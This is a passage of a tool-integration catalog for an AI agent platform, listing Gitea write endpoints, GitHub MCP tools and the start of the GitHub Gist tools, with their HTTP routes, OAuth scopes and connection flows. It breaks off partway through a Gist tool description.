/repos/{owner}/{repo}/pulls/{index} PATCH /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_releases_by_id (write) — Update a release. PATCH /repos/{owner}/{repo}/releases/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/releases/{id}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_releases_by_id_assets_by_attachment_id (write) — Edit a release attachment. PATCH /repos/{owner}/{repo}/releases/{id}/assets/{attachment_id} PATCH /api/v1/gitea/repos/{owner}/{repo}/releases/{id}/assets/{attachment_id}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_tag_protections_by_id (write) — Edit a tag protections for a repository. Only fields that are set will be changed. PATCH /repos/{owner}/{repo}/tag_protections/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/tag_protections/{id}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_wiki_page_by_pagename (write) — Edit a wiki page. PATCH /repos/{owner}/{repo}/wiki/page/{pageName} PATCH /api/v1/gitea/repos/{owner}/{repo}/wiki/page/{pageName}. Scopes: write:repository. gitea_patch_teams_by_id (write) — Edit a team. PATCH /teams/{id} PATCH /api/v1/gitea/teams/{id}. Scopes: write:organization. gitea_patch_user_actions_runners_by_runner_id (write) — Update a user-level runner. PATCH /user/actions/runners/{runner_id} PATCH /api/v1/gitea/user/actions/runners/{runner_id}. Scopes: write:user. gitea_patch_user_hooks_by_id (write) — Update a hook. PATCH /user/hooks/{id} PATCH /api/v1/gitea/user/hooks/{id}. Scopes: write:user. gitea_patch_user_settings (write) — Update user settings. PATCH /user/settings PATCH /api/v1/gitea/user/settings. Scopes: write:user. gitea_post_admin_cron_by_task (write) — Run cron task. POST /admin/cron/{task} POST /api/v1/gitea/admin/cron/{task}. Scopes: write:admin. gitea_post_admin_hooks (write) — Create a hook. POST /admin/hooks POST /api/v1/gitea/admin/hooks. Scopes: write:admin. gitea_post_admin_unadopted_by_owner_by_repo (write) — Adopt unadopted files as a repository. POST /admin/unadopted/{owner}/{repo} POST /api/v1/gitea/admin/unadopted/{owner}/{repo}. Scopes: write:admin. gitea_post_admin_users (write) — Create a user. POST /admin/users POST /api/v1/gitea/admin/users. Scopes: write:admin. gitea_post_admin_users_by_username_badges (write) — Add a badge to a user. POST /admin/users/{username}/badges POST /api/v1/gitea/admin/users/{username}/badges. Scopes: write:admin. gitea_post_admin_users_by_username_keys (write) — Add a public key on behalf of a user. POST /admin/users/{username}/keys POST /api/v1/gitea/admin/users/{username}/keys. Scopes: write:admin. gitea_post_admin_users_by_username_orgs (write) — Create an organization. POST /admin/users/{username}/orgs POST /api/v1/gitea/admin/users/{username}/orgs. Scopes: write:admin. gitea_post_admin_users_by_username_rename (write) — Rename a user. POST /admin/users/{username}/rename POST /api/v1/gitea/admin/users/{username}/rename. Scopes: write:admin. gitea_post_admin_users_by_username_repos (write) — Create a repository on behalf of a user. POST /admin/users/{username}/repos POST /api/v1/gitea/admin/users/{username}/repos. Scopes: write:admin. gitea_post_markdown (write) — Render a markdown document as HTML. POST /markdown POST /api/v1/gitea/markdown. Scopes: api. gitea_post_markdown_raw (write) — Render raw markdown as HTML. POST /markdown/raw POST /api/v1/gitea/markdown/raw. Scopes: api. gitea_post_markup (write) — Render a markup document as HTML. POST /markup POST /api/v1/gitea/markup. Scopes: api. gitea_post_org_by_org_repos (write) — Create a repository in an organization Deprecated by Gitea. POST /org/{org}/repos POST /api/v1/gitea/org/{org}/repos. Scopes: write:organization, write:repository. gitea_post_orgs (write) — Create an organization. POST /orgs POST /api/v1/gitea/orgs. Scopes: write:organization. gitea_post_orgs_by_org_actions_variables_by_variablename (write) — Create an org-level variable. POST /orgs/{org}/actions/variables/{variablename} POST /api/v1/gitea/orgs/{org}/actions/variables/{variablename}. Scopes: write:organization. gitea_post_orgs_by_org_avatar (write) — Update Avatar. POST /orgs/{org}/avatar POST /api/v1/gitea/orgs/{org}/avatar. Scopes: write:organization. gitea_post_orgs_by_org_hooks (write) — Create a hook. POST /orgs/{org}/hooks POST /api/v1/gitea/orgs/{org}/hooks. Scopes: write:organization. gitea_post_orgs_by_org_labels (write) — Create a label for an organization. POST /orgs/{org}/labels POST /api/v1/gitea/orgs/{org}/labels. Scopes: write:organization. gitea_post_orgs_by_org_rename (write) — Rename an organization. POST /orgs/{org}/rename POST /api/v1/gitea/orgs/{org}/rename. Scopes: write:organization. gitea_post_orgs_by_org_repos (write) — Create a repository in an organization. POST /orgs/{org}/repos POST /api/v1/gitea/orgs/{org}/repos. Scopes: write:organization, write:repository. gitea_post_orgs_by_org_teams (write) — Create a team. POST /orgs/{org}/teams POST /api/v1/gitea/orgs/{org}/teams. Scopes: write:organization. gitea_post_packages_by_owner_by_type_by_name_link_by_repo_name (write) — Link a package to a repository. POST /packages/{owner}/{type}/{name}/-/link/{repo_name} POST /api/v1/gitea/packages/{owner}/{type}/{name}/-/link/{repo_name}. Scopes: write:package. gitea_post_packages_by_owner_by_type_by_name_unlink (write) — Unlink a package from a repository. POST /packages/{owner}/{type}/{name}/-/unlink POST /api/v1/gitea/packages/{owner}/{type}/{name}/-/unlink. Scopes: write:package. gitea_post_repos_by_owner_by_repo_actions_runs_by_run_jobs_by_job_id_rerun (write) — Reruns a specific workflow job in a run. POST /repos/{owner}/{repo}/actions/runs/{run}/jobs/{job_id}/rerun POST /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}/jobs/{job_id}/rerun. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_actions_runs_by_run_rerun (write) — Reruns an entire workflow run. POST /repos/{owner}/{repo}/actions/runs/{run}/rerun POST /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}/rerun. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_actions_runs_by_run_rerun_failed_jobs (write) — Reruns all failed jobs in a workflow run. POST /repos/{owner}/{repo}/actions/runs/{run}/rerun-failed-jobs POST /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}/rerun-failed-jobs. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_actions_variables_by_variablename (write) — Create a repo-level variable. POST /repos/{owner}/{repo}/actions/variables/{variablename} POST /api/v1/gitea/repos/{owner}/{repo}/actions/variables/{variablename}. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_actions_workflows_by_workflow_id_dispatches (write) — Create a workflow dispatch event. POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches POST /api/v1/gitea/repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_avatar (write) — Update avatar. POST /repos/{owner}/{repo}/avatar POST /api/v1/gitea/repos/{owner}/{repo}/avatar. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_branch_protections (write) — Create a branch protections for a repository. POST /repos/{owner}/{repo}/branch_protections POST /api/v1/gitea/repos/{owner}/{repo}/branch_protections. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_branch_protections_priority (write) — Update the priorities of branch protections for a repository. POST /repos/{owner}/{repo}/branch_protections/priority POST /api/v1/gitea/repos/{owner}/{repo}/branch_protections/priority. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_branches (write) — Create a branch. POST /repos/{owner}/{repo}/branches POST /api/v1/gitea/repos/{owner}/{repo}/branches. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_contents (write) — Modify multiple files in a repository. POST /repos/{owner}/{repo}/contents POST /api/v1/gitea/repos/{owner}/{repo}/contents. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_contents_by_filepath (write) — Create a file in a repository. POST /repos/{owner}/{repo}/contents/{filepath} POST /api/v1/gitea/repos/{owner}/{repo}/contents/{filepath}. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_diffpatch (write) — Apply diff patch to repository. POST /repos/{owner}/{repo}/diffpatch POST /api/v1/gitea/repos/{owner}/{repo}/diffpatch. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_file_contents (write) — Get the metadata and contents of requested files Uses automatic pagination based on default page size and max response size and returns the maximum allowed number of files. Files which could not be retrieved are null. Files which are too large are being returned with `encoding == null`, `content == null` and `size > 0`, they can be requested separately by using the `download_url`. POST /repos/{owner}/{repo}/file-contents POST /api/v1/gitea/repos/{owner}/{repo}/file-contents. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_forks (write) — Fork a repository. POST /repos/{owner}/{repo}/forks POST /api/v1/gitea/repos/{owner}/{repo}/forks. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_hooks (write) — Create a hook. POST /repos/{owner}/{repo}/hooks POST /api/v1/gitea/repos/{owner}/{repo}/hooks. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_hooks_by_id_tests (write) — Test a push webhook. POST /repos/{owner}/{repo}/hooks/{id}/tests POST /api/v1/gitea/repos/{owner}/{repo}/hooks/{id}/tests. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_issues (write) — Create an issue. If using deadline only the date will be taken into account, and time of day ignored. POST /repos/{owner}/{repo}/issues POST /api/v1/gitea/repos/{owner}/{repo}/issues. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_assignees (write) — Add assignees to an issue. POST /repos/{owner}/{repo}/issues/{index}/assignees POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/assignees. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_blocks (write) — Block the issue given in the body by the issue in path. POST /repos/{owner}/{repo}/issues/{index}/blocks POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/blocks. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_comments (write) — Add a comment to an issue. POST /repos/{owner}/{repo}/issues/{index}/comments POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/comments. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_deadline (write) — Set an issue deadline. If set to null, the deadline is deleted. If using deadline only the date will be taken into account, and time of day ignored. POST /repos/{owner}/{repo}/issues/{index}/deadline POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/deadline. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_dependencies (write) — Make the issue in the url depend on the issue in the form. POST /repos/{owner}/{repo}/issues/{index}/dependencies POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/dependencies. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_labels (write) — Add a label to an issue. POST /repos/{owner}/{repo}/issues/{index}/labels POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/labels. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_pin (write) — Pin an Issue. POST /repos/{owner}/{repo}/issues/{index}/pin POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/pin. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_reactions (write) — Add a reaction to an issue. POST /repos/{owner}/{repo}/issues/{index}/reactions POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/reactions. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_stopwatch_start (write) — Start stopwatch on an issue. POST /repos/{owner}/{repo}/issues/{index}/stopwatch/start POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/stopwatch/start. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_stopwatch_stop (write) — Stop an issue's existing stopwatch. POST /repos/{owner}/{repo}/issues/{index}/stopwatch/stop POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/stopwatch/stop. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_by_index_times (write) — Add tracked time to a issue. POST /repos/{owner}/{repo}/issues/{index}/times POST /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/times. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_issues_comments_by_id_reactions (write) — Add a reaction to a comment of an issue. POST /repos/{owner}/{repo}/issues/comments/{id}/reactions POST /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}/reactions. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_keys (write) — Add a key to a repository. POST /repos/{owner}/{repo}/keys POST /api/v1/gitea/repos/{owner}/{repo}/keys. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_labels (write) — Create a label. POST /repos/{owner}/{repo}/labels POST /api/v1/gitea/repos/{owner}/{repo}/labels. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_merge_upstream (write) — Merge a branch from upstream. POST /repos/{owner}/{repo}/merge-upstream POST /api/v1/gitea/repos/{owner}/{repo}/merge-upstream. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_milestones (write) — Create a milestone. POST /repos/{owner}/{repo}/milestones POST /api/v1/gitea/repos/{owner}/{repo}/milestones. Scopes: write:issue. gitea_post_repos_by_owner_by_repo_mirror_sync (write) — Sync a mirrored repository. POST /repos/{owner}/{repo}/mirror-sync POST /api/v1/gitea/repos/{owner}/{repo}/mirror-sync. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls (write) — Create a pull request. POST /repos/{owner}/{repo}/pulls POST /api/v1/gitea/repos/{owner}/{repo}/pulls. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_comments_by_id_replies (write) — Reply to a pull request review comment. POST /repos/{owner}/{repo}/pulls/{index}/comments/{id}/replies POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/comments/{id}/replies. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_merge (write) — Merge a pull request. POST /repos/{owner}/{repo}/pulls/{index}/merge POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/merge. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_requested_reviewers (write) — create review requests for a pull request. POST /repos/{owner}/{repo}/pulls/{index}/requested_reviewers POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/requested_reviewers. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_reviews (write) — Create a review to a pull request. POST /repos/{owner}/{repo}/pulls/{index}/reviews POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_reviews_by_id (write) — Submit a pending review to a pull request. POST /repos/{owner}/{repo}/pulls/{index}/reviews/{id} POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews/{id}. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_reviews_by_id_dismissals (write) — Dismiss a review for a pull request. POST /repos/{owner}/{repo}/pulls/{index}/reviews/{id}/dismissals POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews/{id}/dismissals. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_reviews_by_id_undismissals (write) — Cancel to dismiss a review for a pull request. POST /repos/{owner}/{repo}/pulls/{index}/reviews/{id}/undismissals POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews/{id}/undismissals. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_by_index_update (write) — Merge PR's baseBranch into headBranch. POST /repos/{owner}/{repo}/pulls/{index}/update POST /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/update. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_comments_by_id_resolve (write) — Resolve a pull request review comment. POST /repos/{owner}/{repo}/pulls/comments/{id}/resolve POST /api/v1/gitea/repos/{owner}/{repo}/pulls/comments/{id}/resolve. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_pulls_comments_by_id_unresolve (write) — Unresolve a pull request review comment. POST /repos/{owner}/{repo}/pulls/comments/{id}/unresolve POST /api/v1/gitea/repos/{owner}/{repo}/pulls/comments/{id}/unresolve. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_push_mirrors (write) — add a push mirror to the repository. POST /repos/{owner}/{repo}/push_mirrors POST /api/v1/gitea/repos/{owner}/{repo}/push_mirrors. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_push_mirrors_sync (write) — Sync all push mirrored repository. POST /repos/{owner}/{repo}/push_mirrors-sync POST /api/v1/gitea/repos/{owner}/{repo}/push_mirrors-sync. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_releases (write) — Create a release. POST /repos/{owner}/{repo}/releases POST /api/v1/gitea/repos/{owner}/{repo}/releases. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_statuses_by_sha (write) — Create a commit status. POST /repos/{owner}/{repo}/statuses/{sha} POST /api/v1/gitea/repos/{owner}/{repo}/statuses/{sha}. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_tag_protections (write) — Create a tag protections for a repository. POST /repos/{owner}/{repo}/tag_protections POST /api/v1/gitea/repos/{owner}/{repo}/tag_protections. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_tags (write) — Create a new git tag in a repository. POST /repos/{owner}/{repo}/tags POST /api/v1/gitea/repos/{owner}/{repo}/tags. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_transfer (write) — Transfer a repo ownership. POST /repos/{owner}/{repo}/transfer POST /api/v1/gitea/repos/{owner}/{repo}/transfer. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_transfer_accept (write) — Accept a repo transfer. POST /repos/{owner}/{repo}/transfer/accept POST /api/v1/gitea/repos/{owner}/{repo}/transfer/accept. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_transfer_reject (write) — Reject a repo transfer. POST /repos/{owner}/{repo}/transfer/reject POST /api/v1/gitea/repos/{owner}/{repo}/transfer/reject. Scopes: write:repository. gitea_post_repos_by_owner_by_repo_wiki_new (write) — Create a wiki page. POST /repos/{owner}/{repo}/wiki/new POST /api/v1/gitea/repos/{owner}/{repo}/wiki/new. Scopes: write:repository. gitea_post_repos_by_template_owner_by_template_repo_generate (write) — Create a repository using a template. POST /repos/{template_owner}/{template_repo}/generate POST /api/v1/gitea/repos/{template_owner}/{template_repo}/generate. Scopes: write:repository. gitea_post_repos_migrate (write) — Migrate a remote git repository. POST /repos/migrate POST /api/v1/gitea/repos/migrate. Scopes: write:repository. gitea_post_user_actions_variables_by_variablename (write) — Create a user-level variable. POST /user/actions/variables/{variablename} POST /api/v1/gitea/user/actions/variables/{variablename}. Scopes: write:user. gitea_post_user_avatar (write) — Update Avatar. POST /user/avatar POST /api/v1/gitea/user/avatar. Scopes: write:user. gitea_post_user_emails (write) — Add email addresses. POST /user/emails POST /api/v1/gitea/user/emails. Scopes: write:user. gitea_post_user_gpg_key_verify (write) — Verify a GPG key. POST /user/gpg_key_verify POST /api/v1/gitea/user/gpg_key_verify. Scopes: write:user. gitea_post_user_gpg_keys (write) — Create a GPG key. POST /user/gpg_keys POST /api/v1/gitea/user/gpg_keys. Scopes: write:user. gitea_post_user_hooks (write) — Create a hook. POST /user/hooks POST /api/v1/gitea/user/hooks. Scopes: write:user. gitea_post_user_keys (write) — Create a public key. POST /user/keys POST /api/v1/gitea/user/keys. Scopes: write:user. gitea_post_user_repos (write) — Create a repository. POST /user/repos POST /api/v1/gitea/user/repos. Scopes: write:repository, write:user. gitea_post_users_by_username_tokens (write) — Create an access token. POST /users/{username}/tokens POST /api/v1/gitea/users/{username}/tokens. Scopes: write:user. gitea_put_notifications (write) — Mark notification threads as read, pinned or unread. PUT /notifications PUT /api/v1/gitea/notifications. Scopes: write:notification. gitea_put_orgs_by_org_actions_secrets_by_secretname (write) — Create or Update a secret value in an organization. PUT /orgs/{org}/actions/secrets/{secretname} PUT /api/v1/gitea/orgs/{org}/actions/secrets/{secretname}. Scopes: write:organization. gitea_put_orgs_by_org_actions_variables_by_variablename (write) — Update an org-level variable. PUT /orgs/{org}/actions/variables/{variablename} PUT /api/v1/gitea/orgs/{org}/actions/variables/{variablename}. Scopes: write:organization. gitea_put_orgs_by_org_blocks_by_username (write) — Block a user. PUT /orgs/{org}/blocks/{username} PUT /api/v1/gitea/orgs/{org}/blocks/{username}. Scopes: write:organization. gitea_put_orgs_by_org_public_members_by_username (write) — Publicize a user's membership. PUT /orgs/{org}/public_members/{username} PUT /api/v1/gitea/orgs/{org}/public_members/{username}. Scopes: write:organization. gitea_put_repos_by_owner_by_repo_actions_secrets_by_secretname (write) — Create or Update a secret value in a repository. PUT /repos/{owner}/{repo}/actions/secrets/{secretname} PUT /api/v1/gitea/repos/{owner}/{repo}/actions/secrets/{secretname}. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_actions_variables_by_variablename (write) — Update a repo-level variable. PUT /repos/{owner}/{repo}/actions/variables/{variablename} PUT /api/v1/gitea/repos/{owner}/{repo}/actions/variables/{variablename}. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_actions_workflows_by_workflow_id_disable (write) — Disable a workflow. PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable PUT /api/v1/gitea/repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_actions_workflows_by_workflow_id_enable (write) — Enable a workflow. PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable PUT /api/v1/gitea/repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_branches_by_branch (write) — Update a branch reference to a new commit. PUT /repos/{owner}/{repo}/branches/{branch} PUT /api/v1/gitea/repos/{owner}/{repo}/branches/{branch}. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_collaborators_by_collaborator (write) — Add or Update a collaborator to a repository. PUT /repos/{owner}/{repo}/collaborators/{collaborator} PUT /api/v1/gitea/repos/{owner}/{repo}/collaborators/{collaborator}. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_contents_by_filepath (write) — Update a file in a repository if SHA is set, or create the file if SHA is not set. PUT /repos/{owner}/{repo}/contents/{filepath} PUT /api/v1/gitea/repos/{owner}/{repo}/contents/{filepath}. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_issues_by_index_labels (write) — Replace an issue's labels. PUT /repos/{owner}/{repo}/issues/{index}/labels PUT /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/labels. Scopes: write:issue. gitea_put_repos_by_owner_by_repo_issues_by_index_lock (write) — Lock an issue. PUT /repos/{owner}/{repo}/issues/{index}/lock PUT /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/lock. Scopes: write:issue. gitea_put_repos_by_owner_by_repo_issues_by_index_subscriptions_by_user (write) — Subscribe user to issue. PUT /repos/{owner}/{repo}/issues/{index}/subscriptions/{user} PUT /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/subscriptions/{user}. Scopes: write:issue. gitea_put_repos_by_owner_by_repo_notifications (write) — Mark notification threads as read, pinned or unread on a specific repo. PUT /repos/{owner}/{repo}/notifications PUT /api/v1/gitea/repos/{owner}/{repo}/notifications. Scopes: write:notification. gitea_put_repos_by_owner_by_repo_subscription (write) — Watch a repo. PUT /repos/{owner}/{repo}/subscription PUT /api/v1/gitea/repos/{owner}/{repo}/subscription. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_teams_by_team (write) — Add a team to a repository. PUT /repos/{owner}/{repo}/teams/{team} PUT /api/v1/gitea/repos/{owner}/{repo}/teams/{team}. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_topics (write) — Replace list of topics for a repository. PUT /repos/{owner}/{repo}/topics PUT /api/v1/gitea/repos/{owner}/{repo}/topics. Scopes: write:repository. gitea_put_repos_by_owner_by_repo_topics_by_topic (write) — Add a topic to a repository. PUT /repos/{owner}/{repo}/topics/{topic} PUT /api/v1/gitea/repos/{owner}/{repo}/topics/{topic}. Scopes: write:repository. gitea_put_teams_by_id_members_by_username (write) — Add a team member. PUT /teams/{id}/members/{username} PUT /api/v1/gitea/teams/{id}/members/{username}. Scopes: write:organization. gitea_put_teams_by_id_repos_by_org_by_repo (write) — Add a repository to a team. PUT /teams/{id}/repos/{org}/{repo} PUT /api/v1/gitea/teams/{id}/repos/{org}/{repo}. Scopes: write:organization. gitea_put_user_actions_secrets_by_secretname (write) — Create or Update a secret value in a user scope. PUT /user/actions/secrets/{secretname} PUT /api/v1/gitea/user/actions/secrets/{secretname}. Scopes: write:user. gitea_put_user_actions_variables_by_variablename (write) — Update a user-level variable which is created by current doer. PUT /user/actions/variables/{variablename} PUT /api/v1/gitea/user/actions/variables/{variablename}. Scopes: write:user. gitea_put_user_blocks_by_username (write) — Block a user. PUT /user/blocks/{username} PUT /api/v1/gitea/user/blocks/{username}. Scopes: write:user. gitea_put_user_following_by_username (write) — Follow a user. PUT /user/following/{username} PUT /api/v1/gitea/user/following/{username}. Scopes: write:user. gitea_put_user_starred_by_owner_by_repo (write) — Star the given repo. PUT /user/starred/{owner}/{repo} PUT /api/v1/gitea/user/starred/{owner}/{repo}. Scopes: write:repository, write:user. ================================================================================ ## GitHub URL: https://www.agenticfabriq.com/integrations/github Section: Integrated Tools GitHub — 12 MCP tools Provider key: github. Scopes: read:user, repo. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. github_create_issue (write, destructive) — Create a new issue in a GitHub repository. Returns the created issue number and URL. POST /api/v1/tools/github/issues. Scopes: repo. github_create_pull_request (write, destructive) — Create a new pull request in a GitHub repository. POST /api/v1/tools/github/repos/{owner}/{repo}/pulls. Scopes: repo. github_get_connection_info (read) — Get GitHub connection information including username, accessible repositories, and connection status. GET /api/v1/tools/github/connection. Scopes: none. github_get_issue (read) — Get detailed information about a specific GitHub issue including title, body, labels, and assignees. GET /api/v1/tools/github/repos/{owner}/{repo}/issues/{issue_number}. Scopes: repo. github_get_pull_request (read) — Get detailed information about a specific GitHub pull request including title, body, merge status, and reviewers. GET /api/v1/tools/github/repos/{owner}/{repo}/pulls/{pull_number}. Scopes: repo. github_get_repo (read) — Get detailed information about a specific GitHub repository including description, stars, forks, and default branch. GET /api/v1/tools/github/repos/{owner}/{repo}. Scopes: repo. github_get_user (read) — Get GitHub user profile information including username, name, bio, and public repos count. GET /api/v1/tools/github/users/{username}. Scopes: read:user. github_list_branches (read) — List branches in a GitHub repository. Returns branch names and commit SHAs. GET /api/v1/tools/github/repos/{owner}/{repo}/branches. Scopes: repo. github_list_commits (read) — List commits in a GitHub repository. Returns commit SHA, author, date, and message. GET /api/v1/tools/github/repos/{owner}/{repo}/commits. Scopes: repo. github_list_issues (read) — List issues for a GitHub repository. Returns issue numbers, titles, states, and assignees. GET /api/v1/tools/github/repos/{owner}/{repo}/issues. Scopes: repo. github_list_pull_requests (read) — List pull requests for a GitHub repository. Returns PR numbers, titles, states, and authors. GET /api/v1/tools/github/repos/{owner}/{repo}/pulls. Scopes: repo. github_list_repos (read) — List GitHub repositories accessible to the authenticated user. Returns repository names, descriptions, and URLs. GET /api/v1/tools/github/repos. Scopes: repo. ================================================================================ ## GitHub Gist URL: https://www.agenticfabriq.com/integrations/gist Section: Integrated Tools GitHub Gist — 20 MCP tools Provider key: gist. Scopes: gist. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gist_delete_gists_by_gist_id (write, destructive) — Delete a gist via DELETE /gists/{gist_id}. Deletes the gist and every file and comment in it. GitHub gives a deleted gist no recycle bin and no undo, and answers 204 with an empty body -- absence is confirmed by asking for the gist again, not by reading this reply. DELETE /api/v1/gist/gists/{gist_id}. Scopes: gist. gist_delete_gists_by_gist_id_comments_by_comment_id (write, destructive) — Delete a gist comment via DELETE /gists/{gist_id}/comments/{comment_id}. Deletes one comment from a gist. No undo; GitHub answers 204 with an empty body, so absence is confirmed by listing the gist's comments again rather than by reading this reply. DELETE /api/v1/gist/gists/{gist_id}/comments/{comment_id}. Scopes: gist. gist_delete_gists_by_gist_id_star (write) — Unstar a gist via DELETE /gists/{gist_id}/star. Removes the connected account's star from a gist. NOT marked destructive although it is a DELETE: nothing is deleted and no content is lost, and 'Star a gist' on the same path restores it exactly. DELETE /api/v1/gist/gists/{gist_id}/star. Scopes: gist. gist_get_gists (read) — List your gists via GET /gists. The gists belonging to the account whose token this connection holds, newest first. READ THE WARNING: measured 2026-09-22, GitHub answers this exact route 200 with a page of 30 STRANGERS' public gists when no credential is attached, and its own reference says so ('When called without authentication, the endpoint returns all public gists'). A 200 here is therefore not evidence that the credential worked, and results that are not your own gists mean it did not attach -- this connector refuses the call rather than dialling without one, so that cannot happen through Agentic Fabriq. Use 'List public gists' when other people's gists are what you want. GET /api/v1/gist/gists. Scopes: gist. gist_get_gists_by_gist_id (read) — Get a gist via GET /gists/{gist_id}. One gist by id, with its files and their content. A public gist reads for any token; a secret one needs the token of an account that can 